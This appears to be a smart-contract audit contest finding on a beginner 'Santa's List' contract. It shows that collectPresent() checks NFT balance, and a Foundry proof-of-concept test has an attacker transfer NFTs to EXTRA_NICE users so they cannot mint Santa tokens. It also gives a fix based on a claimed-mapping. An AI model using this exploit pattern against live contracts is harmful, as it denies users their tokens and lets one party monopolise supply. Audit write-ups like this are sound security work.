Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Malicious Actor Blocks EXTRA_NICE Users from Minting Santa Tokens

Summary

A malicious actor with EXTRA_NICE status can prevent other users from claiming NFTs, becoming the sole owner of Santa tokens. Since only EXTRA_NICE users are permitted to mint Santa tokens, this actor could monopolize Santa token ownership.

Vulnerability Details

The contract checks if a user owns an NFT before allowing them to collect their present. A malicious user can exploit this by continually sending their NFT to EXTRA_NICE users, thereby preventing these users from minting Santa tokens.

To demonstrate this vulnerability, insert the following Proof of Concept (PoC) into the SantasListTest.t.sol file and execute the command:

forge test -vvvv --match-test testMaliciousActorDDOSsuperNiceUser
function testMaliciousActorDDOSsuperNiceUser() public {
address superNiceExploiter = makeAddr("niceExploiter");
vm.startPrank(santa);
// Santa whitelist EXTRA_NICE user
santasList.checkListFixed(user, SantasList.StatusFixed.EXTRA_NICE);
santasList.checkTwiceFixed(user, SantasList.StatusFixed.EXTRA_NICE);
// Exploiter listens to CheckedTwice and stores Extra Nice user's address
exploiterListOfExtraNiceUser.push(user);
// Santa adds exploiter as EXTRA_NICE user
santasList.checkListFixed(superNiceExploiter, SantasList.StatusFixed.NICE);
santasList.checkTwiceFixed(superNiceExploiter, SantasList.StatusFixed.NICE);
vm.stopPrank();
// Exploiter wait for the correct timing
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
// Exploiter has a script that monitor transferFrom so he can keep sending token to people trying to get ride of the NFT
vm.startPrank(superNiceExploiter);
// Exploiter block users from collecting NFT and SantaToken
for (uint256 i; exploiterListOfExtraNiceUser.length > i; i++){
santasList.collectPresent();
santasList.transferFrom(superNiceExploiter, exploiterListOfExtraNiceUser[i], 0);
}
vm.stopPrank();
vm.startPrank(user);
vm.expectRevert();
santasList.collectPresent();
vm.stopPrank();
}

This test demonstrates how EXTRA_NICE users are unable to claim Santa tokens while being targeted by the exploiter.

Impact

This issue is rated as HIGH due to the exploiter's potential to become the sole owner of SantaTokens, rendering the buyPresent method ineffective.
As the only owner of SantaTokens, the exploiter could influence the token's price and supply.
Each time the exploiter collects a present, they mint more SantaTokens.

Tools Used

Forge testing framework

Recommendations

To mitigate this issue, track whether each address has claimed their present using an independent mapping, instead of relying on NFT balance. Update this mapping upon the claiming of a present, irrespective of subsequent NFT transfers.

Add the following mapping:

mapping(address => bool) private hasClaimed;

Update your method as the following

function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
- if (balanceOf(msg.sender) > 0) {
- revert SantasList__AlreadyCollected();
- }
+ if (hasClaimed[msg.sender]){
+ revert SantasList__AlreadyCollected();
+ }
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
+ hasClaimed[msg.sender] = true;
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
+ hasClaimed[msg.sender] = true;
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}

You can verify that this implementation is safe by running the following test

function testMaliciousActorDDOSsuperNiceUser() public {
address superNiceExploiter = makeAddr("niceExploiter");
vm.startPrank(santa);
// Santa whitelist EXTRA_NICE user
santasList.checkListFixed(user, SantasList.StatusFixed.EXTRA_NICE);
santasList.checkTwiceFixed(user, SantasList.StatusFixed.EXTRA_NICE);
// Exploiter has a script listening to CheckedTwice and store Extra Nice user address
exploiterListOfExtraNiceUser.push(user);
// Santa whitelist exploiter as EXTRA_NICE user
santasList.checkListFixed(superNiceExploiter, SantasList.StatusFixed.NICE);
santasList.checkTwiceFixed(superNiceExploiter, SantasList.StatusFixed.NICE);
vm.stopPrank();
// Exploiter wait for the correct timing
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(superNiceExploiter);
santasList.collectPresent();
for (uint256 i; exploiterListOfExtraNiceUser.length > i; i++){
santasList.transferFrom(superNiceExploiter, exploiterListOfExtraNiceUser[i], 0);
// Exploiter collect fail
vm.expectRevert();
santasList.collectPresent();
}
vm.stopPrank();
vm.startPrank(user);
santasList.collectPresent();
vm.stopPrank();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.